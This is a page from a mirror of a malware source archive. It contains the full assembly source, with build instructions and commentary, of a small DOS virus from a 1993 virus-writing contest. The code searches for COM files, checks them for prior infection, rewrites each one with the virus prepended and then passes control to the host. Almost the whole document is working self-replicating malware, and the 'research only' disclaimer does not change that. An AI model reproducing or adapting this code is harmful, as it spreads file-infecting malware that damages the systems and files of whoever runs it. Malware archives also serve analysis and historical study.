mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
153 lines
7.2 KiB
NASM
153 lines
7.2 KiB
NASM
|
;A small (139 byte) virus with minimal required functionality.
|
|||
|
|
|
|||
|
|
;This Virus for research purposes only. Please do not release!
|
|||
|
|
;Please execute it only on a carefully controlled system, and only
|
|||
|
|
;if you know what you're doing!
|
|||
|
|
|
|||
|
|
;An example for
|
|||
|
|
|
|||
|
|
;#######################################################
|
|||
|
|
;# THE FIRST INTERNATIONAL VIRUS WRITING CONTEST #
|
|||
|
|
;# 1 9 9 3 #
|
|||
|
|
;# sponsored by #
|
|||
|
|
;# American Eagle Publications, Inc. #
|
|||
|
|
;#######################################################
|
|||
|
|
|
|||
|
|
;Assemble this file with TASM 2.0 or higher: "TASM LITTLE;"
|
|||
|
|
;Link as "TLINK /T LITTLE;"
|
|||
|
|
|
|||
|
|
;Basic explanation of how this virus works:
|
|||
|
|
;
|
|||
|
|
;The virus takes control when the program first starts up. All of its code is
|
|||
|
|
;originally located at the start of a COM file that has been infected. When
|
|||
|
|
;the virus starts, it takes over a segment 64K above the one where the program
|
|||
|
|
;was loaded by DOS. It copies itself up there, and then searches for an
|
|||
|
|
;uninfected file. To determine if a file is infected, it checks the first two
|
|||
|
|
;bytes to see if they are the same as its first two bytes. It reads the file
|
|||
|
|
;into memory right above where it is sitting (at 100H in the upper segment).
|
|||
|
|
;If not already infected, it just writes itself plus the file it infected back
|
|||
|
|
;out to disk under the same file name. Then it moves the host in the lower
|
|||
|
|
;segment back to offset 100H and executes it.
|
|||
|
|
|
|||
|
|
|
|||
|
|
.model tiny ;Tiny model to create a COM file
|
|||
|
|
|
|||
|
|
.code
|
|||
|
|
|
|||
|
|
;DTA definitions
|
|||
|
|
DTA EQU 0000H ;Disk transfer area
|
|||
|
|
FSIZE EQU DTA+1AH ;file size location in file search
|
|||
|
|
FNAME EQU DTA+1EH ;file name location in file search
|
|||
|
|
|
|||
|
|
|
|||
|
|
ORG 100H
|
|||
|
|
|
|||
|
|
;******************************************************************************
|
|||
|
|
;The virus starts here.
|
|||
|
|
|
|||
|
|
VIRSTART:
|
|||
|
|
mov ax,ds
|
|||
|
|
add ax,1000H
|
|||
|
|
mov es,ax ;upper segment is this one + 1000H
|
|||
|
|
mov si,100H ;put virus in the upper segment
|
|||
|
|
mov di,si ;at offset 100H
|
|||
|
|
; mov cl,BYTE (OFFSET HOST AND 0FFH) ;can't code this with TASM
|
|||
|
|
mov cl,8BH ;we can assume ch=0
|
|||
|
|
rep movsb ;this will louse the infection up if run under debug!
|
|||
|
|
mov ds,ax ;set ds to high segment
|
|||
|
|
push ds
|
|||
|
|
mov ax,OFFSET FIND_FILE
|
|||
|
|
push ax
|
|||
|
|
retf ;jump to high memory segment
|
|||
|
|
|
|||
|
|
;Now it's time to find a viable file to infect. We will look for any COM file
|
|||
|
|
;and see if the virus is there already.
|
|||
|
|
FIND_FILE:
|
|||
|
|
xor dx,dx ;move dta to high segment
|
|||
|
|
mov ah,1AH ;so we don't trash the command line
|
|||
|
|
int 21H ;which the host is expecting
|
|||
|
|
mov dx,OFFSET COMFILE
|
|||
|
|
mov ch,3FH ;search for any file, no matter what attribute (note: cx=0 before this instr)
|
|||
|
|
mov ah,4EH ;DOS search first function
|
|||
|
|
int 21H
|
|||
|
|
CHECK_FILE: jc ALLDONE ;no COM files to infect
|
|||
|
|
|
|||
|
|
mov dx,FNAME ;first open the file
|
|||
|
|
mov ax,3D02H ;r/w access open file, since we'll want to write to it
|
|||
|
|
int 21H
|
|||
|
|
jc NEXT_FILE ;error opening file - quit and say this file can't be used
|
|||
|
|
mov bx,ax ;put file handle in bx, and leave it there for the duration
|
|||
|
|
|
|||
|
|
mov di,FSIZE
|
|||
|
|
mov cx,[di] ;get file size for reading into buffer
|
|||
|
|
mov dx,si ;and read file in at HOST in new segment (note si=OFFSET HOST)
|
|||
|
|
mov ah,3FH ;DOS read function
|
|||
|
|
int 21H
|
|||
|
|
mov ax,[si] ;si=OFFSET HOST here
|
|||
|
|
jc NEXT_FILE ;skip file if error reading it
|
|||
|
|
|
|||
|
|
cmp ax,WORD PTR [VIRSTART] ;see if infected already
|
|||
|
|
jnz INFECT_FILE ;nope, go do it
|
|||
|
|
|
|||
|
|
mov ah,3EH ;else close the file
|
|||
|
|
int 21H ;and fall through to search for another file
|
|||
|
|
|
|||
|
|
NEXT_FILE: mov ah,4FH ;look for another file
|
|||
|
|
int 21H
|
|||
|
|
jmp SHORT CHECK_FILE ;and go check it out
|
|||
|
|
|
|||
|
|
COMFILE DB '*.COM',0
|
|||
|
|
|
|||
|
|
;When we get here, we've opened a file successfully, and read it into memory.
|
|||
|
|
;In the high segment, the file is set up exactly as it will look when infected.
|
|||
|
|
;Thus, to infect, we just rewrite the file from the start, using the image
|
|||
|
|
;in the high segment.
|
|||
|
|
INFECT_FILE:
|
|||
|
|
xor cx,cx
|
|||
|
|
mov dx,cx ;reset file pointer to start of file
|
|||
|
|
mov ax,4200H
|
|||
|
|
int 21H
|
|||
|
|
|
|||
|
|
mov ah,40H
|
|||
|
|
mov dx,100H
|
|||
|
|
mov cx,WORD PTR [di] ;adjust size of file for infection
|
|||
|
|
add cx,OFFSET HOST - 100H
|
|||
|
|
int 21H ;write infected file
|
|||
|
|
|
|||
|
|
mov ah,3EH ;close the file
|
|||
|
|
int 21H
|
|||
|
|
|
|||
|
|
;The infection process is now complete. This routine moves the host program
|
|||
|
|
;down so that its code starts at offset 100H, and then transfers control to it.
|
|||
|
|
ALLDONE:
|
|||
|
|
mov ax,ss ;set ds, es to low segment again
|
|||
|
|
mov ds,ax
|
|||
|
|
mov es,ax
|
|||
|
|
push ax ;prep for retf to host
|
|||
|
|
shr dx,1 ;restore dta to original value
|
|||
|
|
mov ah,1AH ;for compatibility
|
|||
|
|
int 21H
|
|||
|
|
mov di,100H ;prep to move host back to original location
|
|||
|
|
push di
|
|||
|
|
; mov cx,sp ;move code, but don't trash the stack
|
|||
|
|
; sub cx,si
|
|||
|
|
mov cx,0FE6FH ;hand code the above to save a byte
|
|||
|
|
rep movsb ;move code
|
|||
|
|
retf ;and return to host
|
|||
|
|
|
|||
|
|
;******************************************************************************
|
|||
|
|
;The host program starts here. This one is a dummy that just returns control
|
|||
|
|
;to DOS.
|
|||
|
|
|
|||
|
|
HOST:
|
|||
|
|
mov ax,4C00H ;Terminate, error code = 0
|
|||
|
|
int 21H
|
|||
|
|
|
|||
|
|
HOST_END:
|
|||
|
|
|
|||
|
|
END VIRSTART
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|